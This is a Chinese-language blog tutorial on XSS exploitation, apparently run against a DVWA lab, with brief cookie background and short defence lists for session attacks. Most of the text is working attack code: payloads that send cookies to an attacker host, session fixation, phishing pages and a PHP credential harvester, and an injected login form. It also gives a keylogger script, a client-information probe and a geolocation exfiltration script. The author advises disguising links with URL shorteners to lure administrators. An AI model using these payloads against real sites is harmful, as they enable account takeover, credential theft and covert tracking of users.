XSS跨站攻击是攻击者通过一些正常的站内交互途径,例如发布评论、添加文章、发送邮件和留言等,提交含有恶意JavaScript脚本的内容文本,如果服务端没有过滤和转义这些脚本,反而作为内容发布到Web页面上,当其他用户访问该页面的时候就会执行这些恶意脚本。

然而,伴随着XSS攻击技术的发展,原本的含义逐渐发生改变,如今XSS早已不再局限于“跨站”攻击的方式,而是一类利用恶意脚本发动注入式攻击的总称。

会话攻击

Cookie基础介绍

简单来说,Cookie是用户浏览网页时候网站存储在用户机器上的小文本文件,文件里面记录了与用户相关的一些状态或者设置,比如用户名、ID、访问次数等,当用户下一次访问这个网站的时候,网站会先访问用户机器上对应的Cookie文件,并从中读取信息,以便于用户实现快速访问。

Cookie的类型

  • 持久型Cookie:以文本形式存储在硬盘上,由浏览器存取
  • 临时型Cookie:也称会话Cookie,存储在内存中,关闭浏览器后会立即消失

Cookie的操作

查看Cookie

可以通过Document对象访问Cookie,document.cookie。若要创建一个Cookie,只要将特定格式的字符串赋值给document.cookie即可。

image-20211111195803669

也可按F12在浏览器的存储中查看cookie

image-20211111200029108

创建Cookie

创建一个Cookie,需要提供Cookie的名称、对应值、过期时间和相关路径等。

PHP语言为例,使用setcookie函数创建与删除Cookie:

1
2
3
setcookie('user_id',123);	//创建一个Cookie变量user_id=123 

setcookie('user_id',0,time()-1); //删除Cookie变量(Cookie的Expire的值为过去时间)

以JavaScript语言为例,使用document.cookie属性创建与删除Cookie:

1
2
3
document.cookie="user_id=123";	//创建一个Cookie变量user_id=123

document.cookie = "user_id=0; expires=Thu, 01 Jan 1970 00:00:00 GMT"; //删除Cookie变量(Cookie的Expire的值为过去时间)

Cookie的属性

Name / Value

存储是以 Name=Value 的形式。

Domain / Path 作用域

Domain 是限制域名,设置为 www.lilnong.top 的话,cors.lilnong.top 就获取不到了。
Path 是限制路径,如果设置为 /cors 的话,/api 下的请求就不会携带该 cookie

Expires / Max-Age 有效性

Expires 是当前 Cookie 的过期时间,默认是会话级别。

Max-Age 是当前 Cookie 经过多少秒失效。

  1. 大于 0 是计算经过多少秒失效
  2. 等于 0 是会话级别,关闭浏览器就失效
  3. 小于 0 是指 cookie 无效,立即删除

Max-Age 的优先级比 Expires 更高。

HttpOnly 安全性

设置以后客户端脚本就无法通过 document.cookie 等方式获取。
有助于避免 XSS 攻击。

Secure 安全性

设置以后客户端只有 HTTPS 协议下才会发送给服务端。
使用 HTTPS 安全协议,可以保护 Cookie 在浏览器和 Web 服务器间的传输过程中不被窃取和篡改

SameSite 安全性

可以设置 Cookie 在什么场景下会被发送。从而屏蔽跨站时发送 cookie,用于阻止跨站请求伪造攻击(CSRF)

SameSite 可以设置下面三个值:

  1. Strict 只允许同站请求携带 Cookie。比如 lilnong.top 跳转到 www.lilnong.top/cors/,就属于同站。

  2. Laxchrome 80 后的默认值) 允许部分第三方请求场景 携带Cookie。

  3. Nonechrome 80 前的默认值) 无论是否跨站都会发送 Cookie。必须同时加上 Secure 属性,否则无效,也就是说只支持 HTTPS。

    IOS 12 的 Safari 以及老版本的一些 Chrome 会把 SameSite=none 识别成 SameSite=Strict,所以服务端必须在下发 Set-Cookie 响应头时进行 User-Agent 检测,对这些浏览器不下发 SameSite=none 属性

Session会话劫持攻击

会话劫持(Session hijacking),这是一种通过获取用户Session ID后,使用该Session ID登录目标账号的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。会话劫持的第一步是取得一个合法的会话标识来伪装成合法用户,因此需要保证会话标识不被泄漏。

原理

Session管理

http协议本身是是无状态的,但是现代站点很多都需要维持登录态,也就是维持会话。最基本的维持会话的方式是 Base Auth ,但是这种方式,用户名和密码在每次请求中都会以明文的方式发送到客户端,很容易受到中间人攻击,存在很大的安全隐患。所以现在大多数站点采用基于cookie的session管理方式:用户登陆成功后,设置一个唯一的cookie标识本次会话,基于这个标识进行用户授权。只要请求中带有这个标识,都认为是登录态。

Cookie窃取与Session劫持

攻击者获取Session会话的方式有以下三种:

  1. 暴力破解:尝试各种Session ID,直到破解为止;
  2. 预测:如果Session ID使用非随机的方式产生,那么就有可能计算出来;
  3. 窃取:使用网络嗅探,XSS攻击等方法获得。

其中最常用的方式就是采用使用XSS攻击方法窃取Cookie信息。

既然cookie用于维持会话,如果这个cookie被攻击者窃取会发生什么?session被劫持! 攻击者劫持会话就等于合法登录了你的账户,可以浏览大部分用户资源。

攻击步骤

  • 目标用户需要先登录站点;
  • 登录成功后,该用户会得到站点提供的一个会话标识SessionID;
  • 攻击者通过某种攻击手段捕获Session ID;
  • 攻击者通过捕获到的Session ID访问站点即可获得目标用户合法会话。

img

演示

在攻击者的远程服务器上,有一个接收和记录cookie信息的文件,代码如下:

1
2
3
4
5
6
<?php 
$cookie = $_GET['cookie'];
$log = fopen("cookie.txt", "a");
fwrite($log, $cookie ."\n");
fclose($log);
?>

探测是否存在XSS注入点

image-20211111221544933

构造我们的攻击代码

1
2
3
4
5
http://hackrock.com:812/vulnerabilities/xss_r/?name=<script>x=new Image();x.src="http://192.168.123.42/attack/get_cookie.php?cookie="+document.cookie;</script>

URL编码后:
http://hackrock.com:812/vulnerabilities/xss_r/?name=%3Cscript%3Ex%3Dnew%20Image()%3Bx.src%3D%22http%3A%2F%2F192.168.123.42%2Fattack%2Fget_cookie.php%3Fcookie%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E

使用短网址生成工具缩短URL

短网址生成:https://www.985.so/

image-20211111223328469

将生成的短网址发送给管理员点击

在攻击机上能够看到成功拿到了管理员的cookie数据,并且从中记录了管理员的登录状态(SessionID)

image-20211111223646595

在浏览器上更改我们的Cookie值(重放攻击),便可以直接以管理员身份登录

image-20211111224048160

防御方法

  1. 更改Session名称。PHP中Session的默认名称是PHPSESSID,此变量会保存在Cookie中,如果攻击者不分析站点,就不能猜到Session名称,阻挡部分攻击。

  2. 关闭透明化Session ID。透明化Session ID指当浏览器中的Http请求没有使用Cookie来存放Session ID时,Session ID则使用URL来传递。

  3. 设置HttpOnly。通过设置Cookie的HttpOnly为true,可以防止客户端脚本访问这个Cookie,从而有效的防止XSS攻击。

  4. 关闭所有phpinfo类dump request信息的页面。

  5. 验证HTTP头部信息

    在http访问头文件:[Accept-Charset、Accept-Encoding、Accept-Language、User-Agent],浏览器一般发出的头部不会改

Session会话固定攻击

会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。

原理

使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie="sessionid=123",这种方式可以采用跨站脚本攻击来达到目的。

攻击步骤

  • 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
  • 目标用户携带攻击者设定的Session ID登录站点;
  • 攻击者通过Session ID获得合法会话。

img

演示

探测是否存在XSS注入点

image-20211111221544933

构造我们的攻击代码,让管理员的Session固定为abc123

1
2
3
4
5
http://hackrock.com:812/vulnerabilities/xss_r/?name=<script>document.cookie = "PHPSESSID=abc123";</script>

URL编码后:
http://hackrock.com:812/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.cookie%20=%20%22PHPSESSID=abc123%22;%3C/script%3E

使用短网址生成工具缩短URL

将生成的短网址发送给管理员点击,可以看到多出来一个PHPSESSID

image-20211112234740834

在攻击机上,我们设置PHPSESSID的值为abc123,便可以成功登录管理员账号

image-20211112234930824

防御方法

  1. 用户登录时生成新的SessionID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
  2. 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。

网络钓鱼

网络钓鱼(Phishing)是一种利用网络进行的欺骗手段,主要通过对受害者心理弱点、好奇心、信任度等心理陷阱来实现诈骗,属于社会工程学的一种。

钓鱼页面的构造

钓鱼页面

这里我使用的是httrack进行网站克隆。当然也可以自己写一个。

image-20211113004524855

克隆的网站不能说一模一样,只能说完全一致

image-20211113004819609

更改克隆页面的源码,将表单提交的地址改为攻击者记录信息的脚本地址。

image-20211113005608788

记录信息的脚本

在攻击者远程服务器(http://hackme.com)上,会存放一个接收记录账号和密码的程序文件(/attack/phishing.php),代码如下:

1
2
3
4
5
6
7
8
9
<?php
$date = fopen("logfile.txt", "a+");
$login = $_POST['username'];
$pass = $_POST['password'];
fwrite($date, "Username: $login\n");
fwrite($date, "Password: $pass\n");
fclose($date);
header("location: http://hackrock.com:812");
?>

这段代码来接收用户输入的账号(username)和密码(password)信息,并保存在logfile.txt文件中,然后用PHP的header()函数实现页面转向,让页面跳转到正常访问的页面。

当受害者访问钓鱼网站,并输入账号密码登录时,就会跳转到正常页面。此时攻击者远程服务器上便会记录受害者的账号和密码。

image-20211113010955442

XSS重定向钓鱼

这种钓鱼方式是把当前页面重定向到一个钓鱼网站上。假如hackrock.com为漏洞网站,那么钓鱼网站hackmee.com就会仿冒正常网站的网页内容及行为,从而进行钓鱼等诈骗活动。

假设hackrock.com上存在一处存储型XSS,那么我们构造Payload:

1
<script>document.location.href="http://hackmee.com/login.html"</script>

image-20211113120852156

这样便会让受害者从当前访问的网页跳转到攻击者的钓鱼网站。

XSS HTML注入式钓鱼

HTML注入式钓鱼是指直接利用XSS漏洞注入HTML/JavaScript代码到页面中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<link rel="stylesheet" type="text/css" href="http://hackrock.com:812/dvwa/css/login.css" />
<div style="width:100%;position:absolute;top:0px;right:0px;border:0;height:100%;background-color:white">
<div>
<div id="wrapper">
<div>
<br />
<p><img src="http://hackrock.com:812/dvwa/images/login_logo.png" /></p>
<br />
</div>
<div id="content">
<form action="http://hackmee.com/attack/phishing.php" method="post">
<fieldset>
<label for="user">Username</label>
<input type="text" name="username" class="loginInput" size="20"><br />
<label for="pass">Password</label>
<input type="password" name="password" class="loginInput" AUTOCOMPLETE="off" size="20"><br />
<br />
<p class="submit"><input type="submit" value="Login" name="Login"></p>
</fieldset>
<input type="hidden" name="user_token" value="362c558491da59fbca0fc8904fea099b" />
</form>
<br /><br /><br /><br /><br /><br /><br /><br /><br />
</div >
<div>
</div>
</div>
</div>
</div>

让我们把代码进行压缩:

代码压缩工具:http://tool.chinaz.com/js.aspx

压缩后的代码如下:

1
<link rel="stylesheet"type="text/css"href="http://hackrock.com:812/dvwa/css/login.css"/><div style="width:100%;position:absolute;top:0px;right:0px;border:0;height:100%;background-color:white"><div><div id="wrapper"><div><br/><p><img src="http://hackrock.com:812/dvwa/images/login_logo.png"/></p><br/></div><div id="content"><form action="http://hackmee.com/attack/phishing.php"method="post"><fieldset><label for="user">Username</label><input type="text"name="username"class="loginInput"size="20"><br/><label for="pass">Password</label><input type="password"name="password"class="loginInput"AUTOCOMPLETE="off"size="20"><br/><br/><p class="submit"><input type="submit"value="Login"name="Login"></p></fieldset><input type="hidden"name="user_token"value="362c558491da59fbca0fc8904fea099b"/></form><br/><br /><br/><br /><br/><br /><br/><br /><br/></div><div></div></div></div></div>

image-20211113150807906

这段代码会在正常页面中嵌入一个Form表单

image-20211113151405078

该例子中,相应的利用代码被附加到URL处,然后构造一个登录表单,该表单可以覆盖原页面显示,强迫用户输入账号和密码等信息。

XSS跨框架钓鱼

这种方式是通过<iframe>标签嵌入远程域的一个页面实施钓鱼,此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性。

1
<iframe src="http://hackmee.com/login.html" style="position:absolute;top:0px;right:0px;overflow:hidden;" border="0px" width="100%" height="100%"></iframe>

image-20211113152615533

Iframe的效果可以做得很真实,可以跨框架覆盖整个页面。

键盘记录

黑客可以在存在XSS漏洞的网页中植入键盘记录脚本,普通用户访问此网页时,该用户在当前页面上所有的键盘按键都会被记录下来,并且发送到远端服务器。

创建远程JS脚本文件:keylogger.js

1
2
3
4
5
6
7
8
9
10
11
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://hackmee.com/attack/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}

创建用于接收键盘上的敲击记录的文件:keylogger.php

1
2
3
4
5
6
<?php
$key = $_POST['key'];
$log = fopen("keylog.txt","a");
fwrite($log,$key);
fclose($log);
?>

构造好我们的恶意链接发送给受害者:

1
http://hackrock.com:812/vulnerabilities/xss_r/?name=%3Cscript%20src=%22http://hackmee.com/attack/keylogger.js%22%3E%3C/script%3E

当受害者在输入框中输入值(无需提交),攻击者的远程服务器便会记录下相应的值。

image-20211113161126014

客户端信息刺探

很多时候,攻击者为了获得更大的利益,往往需要准确地收集用户的个人信息。比如,如果知道了用户使用的浏览器、操作系统,攻击者就可以有效实施一次精准的浏览器内存攻击,最终给用户电脑植入一个木马。XSS能够帮助攻击者快速达到收集信息的目的。

如何通过JavaScript脚本识别浏览器版本呢?最直接的莫过于通过XSS读取浏览器的UserAgent对象:

1
alert(navigator.userAgent);

image-20211113162257263

这个对象,告诉了我们很多客户端信息:

OS版本:Windows NT 10.0 (这是Windows10的内核版本)

浏览器版本:Firefox/94.0

但是浏览器的UserAgent是可以伪造的。比如Firefox有很多扩展可以屏蔽或自定义浏览器发送的UserAgent。所以通过JavaScript取出来的这个浏览器对象,信息并不一定准确。

这里我写了两个脚本文件收集,可以收集客户端的User-Agent、IP地址、Cookie信息。

xss_probe.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
var http_server = "http://hackmee.com/attack/xss_probe.php";

function getFlashVersion() {
var flashVer = NaN;
var ua = navigator.userAgent;

if (window.ActiveXObject) {
var swf = new ActiveXObject('ShockwaveFlash.ShockwaveFlash');

if (swf) {
flashVer = Number(swf.GetVariable('$version').split(' ')[1].replace(/,/g, '.').replace(/^(d+.d+).*$/, "$1"));
}
} else {
if (navigator.plugins && navigator.plugins.length > 0) {
var swf = navigator.plugins['Shockwave Flash'];

if (swf) {
var arr = swf.description.split(' ');
for (var i = 0, len = arr.length; i < len; i++) {
var ver = Number(arr[i]);

if (!isNaN(ver)) {
flashVer = ver;
break;
}
}
}
}
}
return flashVer;
}

var user_agent = navigator.userAgent;
var domain = document.domain;
var cookie = document.cookie;
var flash = getFlashVersion();

window.onload = function(){
new Image().src = http_server + "?ua="+user_agent+"&domain="+domain+"&cookie="+cookie;
}

​ xss_probe.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
@header("Content-Type:text/html;charset=utf-8");

$ip = $_SERVER['REMOTE_ADDR'];
$time = date("Y-m-d H:i:s");
$data = "";

$data .= ("IP: ".$ip."<br>Time: ".$time."<br>");
if(!empty($_GET['domain'])){$data .= "Domain: "; $data .= $_GET['domain']; $data.="<br>";}
if(!empty($_GET['ua'])){$data .= "User_Agetn: "; $data .= $_GET['ua']; $data.="<br>";}
if(!empty($_GET['cookie'])){$data .= "Cookie: "; $data .= $_GET['cookie']; $data.="<br><br>";}

if(!file_exists("data.html")){
$fp = fopen("data.html", "a+");
fwrite($fp, '<head><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><title>Sensitive Information</title><style>body{font-size:16px;}</style></head>');
fclose($fp);
}

$fp = fopen("data.html", "a+");
fwrite($fp, $data);
fclose($fp);
?>

恶意链接:

1
http://hackrock.com:812/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22http%3A%2F%2Fhackmee.com%2Fattack%2Fxss_probe.js%22%3E%3C%2Fscript%3E#

当受害者访问我们构造的恶意链接,data.html便会记录客户端的信息。

image-20211113223745241

获取经纬度定位

注意:获取经纬度的方法只可以在https协议的网站上才可使用。而且浏览器会弹出提示,总之限制很多。

gps.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function getLocation()
{
if (navigator.geolocation)
{
navigator.geolocation.getCurrentPosition(showPosition);
}
else{x.innerHTML="Geolocation is not supported by this browser.";}
}
function showPosition(position)
{
(new Image()).src='http://hackmee.com/attack/gps.php?do=api&id={projectId}&weidu='+position.coords.latitude+'&jingdu='+position.coords.longitude;
}

getLocation();

gps.php

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$id = $_POST['id'];
$weidu = $_POST['weidu'];
$jingdu = $_POST['jingdu'];
$log = fopen("gps.txt","a");
fwrite($log,$id);
fwrite($log,"-维度:");
fwrite($log,$weidu);
fwrite($log,"-经度:");
fwrite($log,$jingdu);
fwrite($log,"\n");
fclose($log);
?>

以上就是一些XSS的常见利用手段的剖析,在我们实战过程中可以使用XSS攻击平台对漏洞进行多维利用。

参考资料